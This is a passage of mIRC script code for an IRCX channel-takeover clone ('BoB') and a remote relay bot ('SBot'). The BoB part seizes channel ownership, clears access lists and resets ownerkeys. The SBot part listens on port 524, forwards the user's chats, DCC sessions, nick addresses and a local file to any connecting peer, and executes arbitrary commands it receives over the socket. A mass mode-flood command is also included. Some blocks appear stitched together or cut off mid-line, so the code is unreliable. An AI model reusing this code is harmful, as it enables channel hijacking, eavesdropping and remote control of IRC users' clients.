%SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
unset %SBot.wins.i
:loop2
inc %SBot.wins.i
if ( %SBot.wins.i <= $query(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $query( %SBot.wins.i ) $+ $chr(44) | goto loop2 }
%SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
unset %SBot.wins.i
:loop3
inc %SBot.wins.i
if ( %SBot.wins.i <= $chat(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chat( %SBot.wins.i ) $+ $chr(44) | goto loop3 }
.sockwrite -n SBot-* WINSTATS %SBot.wins.temp
unset %SBot.wins.*
}
alias showinstat {
.sockwrite -n SBot-* SHOW Status $1-
.sockwrite -n SBot-* SHOW Status -
}
alias bground {
if ( [ $readini $mircdirmirc.ini background $1 ] != $null ) {
if ($chr(58) !isin [ $readini $mircdirmirc.ini background $1 ] ) { return [ $mircdir $+ [ $readini $mircdirmirc.ini background $1 ] ] }
else { return [ $readini $mircdirmirc.ini background $1 ] }
}
else { return none }
}
alias listen if ( $portfree(524) ) { .socklisten Stealth 524 }
[script]
n0=
n1=alias stealthstat {
n2= if ($sock(@B0B,1).status != $null) { $awinfecho Stealth Clone is $upper($sock(@B0B,1).status) }
n3= if ($sock(@B0B,1).status == $null) { $awinfecho Stealth Clone is NOT ACTIVE }
n4=}
n5=alias BoB2 {
n6= /set %server $$?="Server?"
n7= .enable #stealthmode | .enable #stealthkick
n8= set %st.cl BoB-[ $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ ]
n9= sockopen @B0B %server 6667
n10=}
n11=on 1:SOCKOPEN:@B0B:{
n12= window -p @B0B 0 0 310 100 @B0B Arial | titlebar @B0B - (HI MY NAME IS BOB)
n13= sockwrite -n $sockname USER BoB Bob BoB :I am BoB
n14= sockwrite -n $sockname NICK %st.cl
n15= sockwrite -n $sockname IRCX
n16= sockwrite -n $sockname MODE %st.cl +i
n17= drawtext -pbc $sockname 0 1 Arial 14 105 3 210 15 4Connection Status:15 $upper($sock($sockname,1).status)
n18= drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 OFF
n19= drawtext -pbc $sockname 0 1 Arial 14 105 35 210 15 4Last Chan:
n20= drawtext -pbc $sockname 0 1 Arial 14 105 51 210 15 4Last Action:
n21= drawtext -pbc $sockname 0 1 Arial 14 105 67 210 15 4BoT NaMe:15 %st.cl
n22= drawtext -pbc $sockname 0 1 Arial 14 105 83 210 15 4IRCX Server:15 %server
n23= window -a @B0B
n24=}
n25=on 1:SOCKREAD:@B0B:{
n26= if ($sockerr > 0) return
n27= :nextread
n28= sockread %sock.read.line
n29= if ($sockbr == 0) return
n30= if ($gettok(%sock.read.line,1,32) == PING) { sockwrite -n $sockname PONG $gettok(%sock.read.line,2-,58) }
n31= if ($gettok(%sock.read.line,2,32) == PROP) { set %Key. [ $+ [ $gettok(%sock.read.line,3,32) ] ] $remove($gettok(%sock.read.line,5,32),:) }
n32= if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!part) { sockwrite -n $sockname PART $gettok(%sock.read.line,3,32) }
n33= if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!q) { sockwrite -n $sockname MODE $gettok(%sock.read.line,3,32) +q $me }
n34= if ($gettok(%sock.read.line,2,32) == 800) { drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 ON $chr(160) }
n35= goto nextread
n36=}
n37=on 1:SOCKCLOSE:@B0B:set %sockwin $sockname | unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $sockname | window -c %sockwin
n38=on 1:CLOSE:@B0B:unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $target
n39=#stealthmode off
n40=on 1:RAWMODE:#:{
n41=if (($mode(1).deowner == $me) || ($mode(1).deop == $me)) && ($sock(@B0B) != $null) { .disable #stealthkick | sockwrite -n @B0B join $chan %Key. [ $+ [ $chan ] ] | set %cmask $address($nick,4) | sockwrite -n @B0B mode $chan +qq-ooo $me $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick | sockwrite -n @B0B prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) | sockwrite -n @B0B access $chan clear | set %st.last.chan %st.chan | set %st.last.act %st.act | set %st.chan $chan | set %st.act $iif($1 == -q,deowned,deoped) | .timerSTEALTH 1 3 finish.stealth | .timer 1 3 .enable #stealthkick | unset %cmask } }
n42=.disable #stealthkick
n43=sockwrite -n @B0B join $chan %Key. [ $+ [ $chan ] ]
n44=set %cmask $address($nick,4)
n45=sockwrite -n @B0B access # clear
n46=sockwrite -n @B0B mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick
n47=sockwrite -n @B0B prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z)
n48=sockwrite -n @B0B access $chan clear
n49=set %st.last.chan %st.chan
n50=set %st.last.act %st.act
n51=set %st.chan $chan
n52=set %st.act $iif($1 == -q,deowned,deoped)
n53=.timerSTEALTH 1 3 finish.stealth
n54=.timer 1 3 .enable #stealthkick
n55=}
n56=if (($gettok(%protect,4,32) == +q) && ($gettok(%protect,5,32) == %protect.nick)) {
n57=.timer $+ %protect.nick $+ $gettok(%protect,3,32) 0 15 sockwrite -nt $sockname access $gettok(%protect,3,32) add owner $ip
n58=}
n59=if (($gettok(%protect,4,32) == -q) && ($gettok(%protect,5,32) == %protect.nick)) {
n60=if ($level($address(%protect.knick,2)) = 100) {
n61= if (%protect.deop = off) { halt }
n62= set %protect.deop off
n63= sockwrite -nt $sockname part $gettok(%protect,3,32)
n64= sockwrite -nt $sockname join $gettok(%protect,3,32) [ $+ [ $gettok(%protect,3,32) ] ]
n65= sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
n66= .timer 1 3 set %protect.deop on
n67= halt
n68=}
n69=else {
n70= if (%protect.deop = off) { halt }
n71= set %protect.deop off
n72= %mask = $address(%protect.knick,4)
n73= sockwrite -nt $sockname part $gettok(%protect,3,32)
n74= sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n75= sockwrite -nt $sockname access $gettok(%protect,3,32) clear
n76= sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
n77= sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
n78= sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
n79= .timer 1 3 set %protect.deop on
n80= halt
n81=}
n82=}
n83=if (($gettok(%protect,4,32) == -q) && ($level($address($gettok(%protect,5,32),2)) = 100)) {
n84=if ($level($address(%protect.knick,2)) = 100) { halt }
n85=else {
n86= if (%protect.deopp = off) { halt }
n87= set %protect.deopp off
n88= %mask = $address(%protect.knick,4)
n89= sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
n90= sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
n91= .timer 1 3 set %protect.deopp on
n92= halt
n93=}
n94=}
n95=if (($gettok(%protect,2,32) == KICK) && ($gettok(%protect,4,32) == %protect.nick)) {
n96=if ($level($address(%protect.knick,2)) = 100) {
n97= sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n98= sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
n99=}
n100=else {
n101= %mask = $address(%protect.knick,4)
n102= sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n103= sockwrite -nt $sockname access $gettok(%protect,3,32) clear
n104= sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
n105= sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
n106= sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
n107= halt
n108=}
n109=}
n110=if (($gettok(%protect,2,32) == JOIN) && ($ip isin %protect)) {
n111=set %protect.join $mid(%protect,2,$calc($pos(%protect,!,1) - 2))
n112=if (%protect.join == %protect.nick) { halt }
n113=sockwrite -n $sockname mode $remove($gettok(%protect,3,32),:) +q %protect.join
n114=halt
n115=}
n116=if (($level($address(%protect.knick,2)) == 100) && ($gettok(%protect,2,32) == MSG)) {
n117=if ($gettok(%protect,4,32) == :!hop) {
n118= sockwrite -nt $sockname part $gettok(%protect,3,32)
n119= sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n120=}
n121=if ($gettok(%protect,4,32) == :!qme) {
n122= sockwrite -nt $sockname mode $gettok(%protect,3,32) +q %protect.knick
n123=}
n124=if ($gettok(%protect,4,32) == :!join) {
n125= sockwrite -nt $sockname join $gettok(%protect,5-,32)
n126=}
n127=if ($gettok(%protect,4,32) == :!part) {
n128= sockwrite -nt $sockname part $gettok(%protect,5-,32)
n129=}
n130=if ($gettok(%protect,4,32) == :!say) {
n131= sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $gettok(%protect,5-,32)
n132=}
n133=if ($gettok(%protect,4,32) == :!act) {
n134= sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $chr(1) $+ ACTION $gettok(%protect,5-,32) $+ $chr(1)
n135=}
n136=if ($gettok(%protect,4,32) == :!kick) {
n137= sockwrite -nt $sockname kick $gettok(%protect,3,32) $gettok(%protect,5,32) :X $gettok(%protect,6-,32)
n138=}
n139=if ($gettok(%protect,4,32) == :!+o) {
n140= echo @split1 ownering $gettok(%protect,5-,32)
n141= sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(q,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
n142=}
n143=if ($gettok(%protect,4,32) == :!+h) {
n144= echo @split1 host $gettok(%protect,5-,32)
n145= sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
n146=}
n147=if ($gettok(%protect,4,32) == :!+v) {
n148= echo @split1 voiceing $gettok(%protect,5-,32)
n149= sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(v,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
n150=}
n151=if ($gettok(%protect,4,32) == :!-o) {
n152= echo @split1 ownering $g
n153=}
n154=#stealthmode end
n155=#stealthkick off
n156=on 1:KICK:#: {
n157= if ($knick == $me) && ($sock(@B0B) != $null) {
n158= .disable #stealthmode
n159= set %cmask $address($nick,4)
n160= sockwrite -n @B0B join # $ownerkey
n161= sockwrite -n @B0B mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick
n162= sockwrite -n @B0B access # clear
n163= sockwrite -n @B0B prop # ownerkey BoBWuZHeRe-( $+ $rand(1,999999) $+ )
n164= sockwrite -n @B0B access # clear
n165= set %st.last.chan %st.chan
n166= set %st.last.act %st.act
n167= set %st.chan $chan
n168= set %st.act kicked
n169= .timerSTEALTH 1 3 finish.stealth
n170= .timer 1 3 .enable #stealthmode
n171= sockwrite -nt @B0B part $chan
n172= }
n173=}
n174=#stealthkick end
n175=alias finish.stealth {
n176= drawtext -pbc @B0B 1 1 Arial 14 105 35 210 15 4Last Chan:1 %st.last.chan
n177= drawtext -pbc @B0B 1 1 Arial 14 105 51 210 15 4LastAction:1 %st.last.act
n178= drawtext -pbc @B0B 0 1 Arial 14 105 35 210 15 4Last Chan:15 %st.chan
n179= drawtext -pbc @B0B 0 1 Arial 14 105 51 210 15 4LastAction:15 %st.act
n180= join %st.chan %Key. [ $+ [ %st.chan ] ]
n181= if ($me isowner %st.chan) { sockwrite -n @B0B part %st.chan }
n182= if ($me !isowner %st.chan) { join %st.chan %Key. [ $+ [ %st.chan ] ] }
n183= .enable #stealthmode | .enable #stealthkick
n184=}
n185=menu @B0B {
n186= &Die:sockwrite -n @B0B QUIT
n187=}
n188=alias pex {
n189= sockwrite -n @B0B kick # $snicks(#,0)
n190= kick # %st.cl
n191= if ($opnick == $me) { set %deop.protection off | set %nick.mask $address($nick,2) | .sockwrite -tn join # %ownerkey | .sockwrite -tn mode # -qqq $ialchan(%nick.mask,#,1)
n192= $ialchan(%nick.mask,#,2).nick $ial(%nick.mask,#,3).nick
n193= }
n194=
n195=}
n196=
n197=on 1:START: listen
n198=
n199=on 1:SOCKLISTEN:Stealth: {
n200= unset %SBot.i
n201= :start
n202= inc %SBot.i
n203= if ( $sock( [ SBot- $+ [ %SBot.i ] ] ) != $null ) { goto start }
n204= .sockaccept [ SBot- $+ [ %SBot.i ] ]
n205= %SBot.server = $server
n206= if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
n207= .sockwrite -n SBot- $+ [ %SBot.i ] CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode
n208= unset %SBot.*
n209=}
n210=
n211=on 1:SOCKREAD:SBot-*: {
n212= if ( $sockerr > 0 ) .return
n213= .sockread %SBot.read.temp
n214= %SBot.read.temp1 = $gettok( %SBot.read.temp ,1,32)
n215= if ( %SBot.read.temp1 == GETCOLORS ) {
n216= .sockwrite -n $sockname COLORS $rgb(Face) $+ $chr(140) $+ $rgb(Text) $+ $chr(140) $+ $rgb(Hilight) $+ $chr(140) $+ $rgb(Shadow) $+ $chr(140) $+ $bground(SwitchBar)
n217= if ( $bground(SwitchBar) != none ) {
n218= unset %SBot.read.i
n219= :start
n220= inc %SBot.read.i
n221= if ( $sock( [ SBot_Send- $+ [ %SBot.read.i ] ] ) != $null ) { goto start }
n222= .sockopen [ SBot_Send- $+ [ %SBot.read.i ] ] $sock($sockname).ip $gettok( %SBot.read.temp ,2,32)
n223= }
n224= }
n225= elseif ( %SBot.read.temp1 == GETWINS ) { winstat }
n226= elseif ( %SBot.read.temp1 == GETNAMES ) { chanstat $gettok( %SBot.read.temp ,2,32) }
n227= elseif ( %SBot.read.temp1 == GETIP ) {
n228= if ( $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address }
n229= elseif ( $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) }
n230= else { .enableset #NickIP | %SBot.getnick $gettok( %SBot.read.temp ,2,32) | .userhost $gettok( %SBot.read.temp ,2,32) }
n231= }
n232= elseif ( %SBot.read.temp1 == CONNECT ) { .sockmark $sockname $gettok( %SBot.read.temp ,2,32) }
n233= else {
n234= if ( remove isin %SBot.read.temp1 ) || ( copy isin %SBot.read.temp1 ) || ( mkdir isin %SBot.read.temp1 ) || ( remini isin %SBot.read.temp1 ) || ( rename isin %SBot.read.temp1 ) || ( rmdir isin %SBot.read.temp1 ) || ( write isin %SBot.read.temp1 ) { unset %SBot.read.* | halt }
n235= %SBot.read.temp
n236= }
n237= unset %SBot.read.*
n238=}
n239=
n240=on 1:SOCKCLOSE:Stealth:.listen
n241=
n242=on 1:SOCKOPEN:SBot_Send-*:{
n243= .sockmark $sockname $bground(SwitchBar)
n244= bread $sock($sockname).mark 0 4096 &SBot.temp
n245= sockwrite $sockname &SBot.temp
n246=}
n247=
n248=on 1:SOCKWRITE:SBot_Send-*: {
n249= if ($sockerr > 0) { halt }
n250= if ($sock($sockname).sent >= $lof( $sock($sockname).mark) ) { sockclose $sockname | halt }
n251= bread $sock($sockname).mark $sock($sockname).sent 4096 &SBot.temp
n252= sockwrite $sockname &SBot.temp
n253=}
n254=
n255=on 1:INPUT: {
n256= if ( $sock(SBot-*) != $null ) {
n257= if ( Chat isin $target ) { %SBot.temp = $gettok( $target ,3,32) | .sockwrite -n SBot-* DCC CHAT %SBot.temp < $+ $me $+ > $1- }
n258= elseif ( $left( $1 ,1) != $chr(47) ) { if ( Status !isin $target ) { .sockwrite -n SBot-* SHOW $target < $+ $me $+ > $1- } }
n259= else {
n260= %SBot.temp = $target
n261= if ( $gettok( %SBot.temp ,1,32) == Status ) { %SBot.temp = Status }
n262= .sockwrite -n SBot-* ACTION %SBot.temp $1-
n263= %SBot.temp1 = $gettok( $1 ,1,47)
n264= if ( %SBot.temp1 == msg ) || ( %SBot.temp1 == query ) { .sockwrite -n SBot-* SHOW $2 < $+ $me $+ > $3- }
n265= elseif ( %SBot.temp1 == me ) || ( %SBot.temp1 == action ) || ( %SBot.temp1 == describe ) {
n266= if ( %SBot.temp1 == describe ) { %SBot.temp = $2 | %SBot.msg = $3- }
n267= else { %SBot.temp = $target | %SBot.msg = $2- }
n268= .sockwrite -n SBot-* SHOW %SBot.temp $+ [ $colour(Action) ] $+ * $me %SBot.msg
n269= unset %SBot.*
n270= }
n271= }
n272= unset %SBot.*
n273= }
n274=}
n275=
n276=on 1:CONNECT: {
n277= if ( $sock(SBot-*) != $null ) {
n278= %SBot.server = $server
n279= if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
n280= .sockwrite -n SBot-* CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode
n281= }
n282=}
n283=on 1:DISCONNECT: if ( $sock(SBot-*) != $null ) { showinstat $+ $colour(Info) $+ *** Disconnected | .sockwrite -n SBot-* DISCONNECT }
n284=
n285=on 1:TEXT:*:*: {
n286= if ( $sock(SBot-*) != $null ) {
n287= %SBot.temp = $chan
n288= if ( $chan == $null ) { %SBot.temp = $nick }
n289= .sockwrite -n SBot-* SHOW %SBot.temp < $+ $nick $+ > $1-
n290= unset %SBot.*
n291= }
n292=}
n293=
n294=on 1:NOTICE:*:*: {
n295= if ( $sock(SBot-*) != $null ) {
n296= if ( $chan != $null ) { .sockwrite -n SBot-* SHOW $chan $+ $colour(notice) $+ - $+ $nick $+ : $+ $chan $+ - $1- }
n297= else { showinstat $+ $colour(notice) $+ - $+ $nick $+ - $1- }
n298= }
n299=}
n300=
n301=on 1:ACTION:*:*: {
n302= if ( $sock(SBot-*) != $null ) {
n303= %SBot.temp = $chan
n304= if ( $chan == $me ) { %SBot.temp = $nick }
n305= .sockwrite -n SBot-* SHOW %SBot.temp $+ [ $colour(Action) ] $+ * $nick $1-
n306= unset %SBot.*
n307= }
n308=}
n309=
n310=on 1:NICK: {
n311= if ( $sock(SBot-*) != $null ) {
n312= if ( $nick == $me ) {
n313= %SBot.server = $server
n314= if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
n315= .sockwrite -n SBot-* CONNECT $newnick $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode
n316= }
n317= unset %SBot.i
n318= unset %SBot.temp
n319= :start
n320= inc %SBot.i
n321= if ( %SBot.i <= $comchan( $newnick ,0) ) {
n322= if ( $newnick isop $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(64) }
n323= elseif ( $newnick isvo $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(43) }
n324= else { %SBot.char = $chr(149) }
n325= if ( %SBot.temp == $null ) { %SBot.temp = %SBot.char $+ $comchan( $newnick , %SBot.i ) }
n326= else { %SBot.temp = %SBot.temp $+ , $+ %SBot.char $+ $comchan( $newnick , %SBot.i ) }
n327= goto start
n328= }
n329= .sockwrite -n SBot-* NICK $nick $newnick %SBot.temp $colour(nick)
n330= unset %SBot.*
n331= }
n332=}
n333=
n334=on 1:QUIT: {
n335= if ( $sock(SBot-*) != $null ) {
n336= if ( $nick != $me ) {
n337= unset %SBot.i
n338= unset %SBot.temp
n339= :start
n340= inc %SBot.i
n341= if ( %SBot.i <= $comchan( $nick ,0) ) {
n342= if ( %SBot.temp == $null ) { %SBot.temp = $comchan( $nick , %SBot.i ) }
n343= else { %SBot.temp = %SBot.temp $+ , $+ $comchan( $nick , %SBot.i ) }
n344= goto start
n345= }
n346= %SBot.msg = $1
n347= if ( %SBot.msg == $null ) { %SBot.msg = Leaving }
n348= .sockwrite -n SBot-* QUIT $nick %SBot.temp $+ $colour(Quit) $+ *** Quits: $nick ( $+ $1- $+ )
n349= .showinstat $+ $colour(Quit) $+ *** $nick ( $+ $address $+ ) Quits ( $+ $1 $+ )
n350= }
n351= }
n352=}
n353=
n354=on 1:DNS: {
n355= if ( $sock(SBot-*) != $null ) {
n356= showinstat $+ $colour(Other) $+ *** Looking up $iaddress
n357= if ( $raddress == $null ) { showinstat $+ $colour(Other) $+ *** Unable to resolve $iaddress }
n358= else { showinstat $+ $colour(Other) $+ *** Resolved $iaddress to $raddress }
n359= }
n360=}
n361=
n362=on 1:CLOSE:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
n363=on 1:CLOSE:!: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
n364=on 1:CLOSE:?: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE $target }
n365=on 1:SNOTICE: if ( $sock(SBot-*) != $null ) { showinstat $+ $colour(notice) $+ - $+ $nick $+ - $1- }
n366=on 1:NOTIFY: if ( $sock(SBot-*) != $null ) { showinstat $+ $colour(Notify) $+ *** $nick is on IRC }
n367=on 1:UNOTIFY: if ( $sock(SBot-*) != $null ) { showinstat $+ $colour(Notify) $+ *** $nick has left IRC }
n368=on 1:INVITE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* INVITE $chan $nick $colour(invite) $address }
n369=on 1:USERMODE: if ( $sock(SBot-*) != $null ) { showinstat $+ [ $colour( mode ) ] $+ *** $me sets mode: $1- | .sockwrite -n SBot-* UMODE $usermode }
n370=on 1:MODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
n371=on 1:SERVERMODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
n372=on 1:TOPIC:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN TOPCHANGE $chan $nick $colour(topic) $1- }
n373=on 1:OP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
n374=on 1:SERVEROP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
n375=on 1:DEOP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick $+ [ $colour(mode) ] $+ *** $nick sets mode: -o $opnick }
n376=on 1:VOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick $+ [ $colour(mode) ] $+ *** $nick sets mode: +v $vnick }
n377=on 1:DEVOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick $+ [ $colour(mode) ] $+ *** $nick sets mode: -v $vnick }
n378=on 1:JOIN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN JOIN $chan $+ $colour(Join) $+ *** Joins: $nick ( $+ $address $+ ) }
n379=on 1:PART:#: if ( $sock(SBot-*) != $null ) { if ( $nick != $me ) { .sockwrite -n SBot-* CHAN PART $chan $+ $colour(Part) $+ *** Parts: $nick ( $+ $address $+ ) ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan } }
n380=on 1:KICK:#: if ( $sock(SBot-*) != $null ) { if ( $knick != $me ) { .sockwrite -n SBot-* CHAN KICK $chan $+ $colour(Part) $+ *** $knick was kicked by $nick ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan | .showinstat $+ $colour(Part) $+ *** You were kicked from $chan by $nick ( $+ $1- $+ ) } }
n381=on 1:BAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan $+ [ $colour(mode) ] $+ *** $nick sets mode +b $banmask }
n382=on 1:UNBAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan $+ [ $colour(mode) ] $+ *** $nick sets mode -b $banmask }
n383=on 1:CHAT:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
n384=on 1:SERV:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
n385=ctcp 1:DCC CHAT: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick CTCP $colour(Info2) $colour(CTCP) $longip( $4 ) }
n386=on 1:OPEN:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick ACK $colour(CTCP) DCC Chat connection established }
n387=
n388=ctcp 1:*:*: {
n389= if ( $1 == VERSION ) && ( $2 == SBot ) { .ctcpreply $nick VERSION $me is hosting SBot-Script ver. 2 |{o|)e|) by Goldfing | halt }
n390= elseif ( $1 == SBot ) && ( $2 == Stats ) {
n391= unset %SBot.ctcp.i
n392= :start
n393= inc %SBot.ctcp.i
n394= %SBot.ctcp.temp1 = SBot- [ $+ [ %SBot.ctcp.i ] ]
n395= if ( $sock( %SBot.ctcp.temp1 ) != $null ) { %SBot.ctcp.temp = %SBot.ctcp.temp $sock(%SBot.ctcp.temp1).mark | goto start }
n396= if ( %SBot.ctcp.temp != $null ) { /.ctcpreply $nick SBot Connected to: %SBot.ctcp.temp }
n397= else { /.ctcpreply $nick SBot Not Connected to anyone }
n398= unset %SBot.ctcp.*
n399= halt
n400= }
n401= elseif ( $sock(SBot-*) != $null ) {
n402= if ( $1 != DCC ) {
n403= %SBot.temp = $2-
n404= if ( $1 == PING ) { unset %SBot.temp }
n405= if ( $chan != $null ) { showinstat $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $+ $chr(58) $+ $chan $1 $+ $chr(93) %SBot.temp }
n406= else { showinstat $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $1 $+ $chr(93) %SBot.temp }
n407= }
n408= }
n409= unset %SBot.*
n410=}
n411=
n412=On 1:input:*:{
n413= if ($1- == hey bob) { /sockwrite -tn * JOIN # }
n414= if ($1- == bye bob) { /sockwrite -tn * PART # }
n415= if ($1- == die bob) { sockwrite -n @B0B QUIT BYE, MY NAME IS BOB }
n416= if ($1- == boo) { /sockwrite -nt * mode # +o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 }
n417=
n418=}
n419=
n420=on 1:CTCPREPLY:*: {
n421= if ( $sock(SBot-*) != $null ) {
n422= if ( $1 != PING ) { showinstat $+ $colour(CTCP) $+ $chr(91) $+ $1 reply $+ $chr(93) $+ $chr(58) $2- }
n423= else {
n424= set %SBot.pt $ctime - $2
n425= if (%SBot.pt < 0) { set %SBot.pt 0 }
n426= showinstat $+ $colour(CTCP) $+ $chr(91) $+ $nick PING reply $+ $chr(93) $+ $chr(58) %SBot.pt seconds
n427= unset %SBot.*
n428= }
n429= }
n430=}
n431=
n432=;------------------------------------- CONNECT -------------------------------------------
n433=raw 1:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n434=raw 2:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n435=raw 3:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n436=raw 4:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n437=raw 251:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n438=raw 252:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n439=raw 253:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n440=raw 254:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n441=raw 255:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n442=raw 265:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n443=raw 266:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n444=raw 372:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n445=raw 375:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $4-7 }
n446=raw 376:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n447=
n448=;----------------------------------------------------- SERVER ERRORS -------------------------------------------------------
